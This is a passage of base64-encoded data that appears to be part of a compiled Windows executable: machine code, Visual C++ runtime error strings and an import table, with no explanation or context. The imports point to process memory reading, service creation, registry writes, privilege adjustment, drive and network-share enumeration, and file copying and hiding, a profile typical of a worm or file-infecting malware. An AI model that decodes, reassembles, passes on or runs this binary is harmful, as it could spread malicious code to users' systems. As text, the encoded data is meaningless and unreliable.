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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 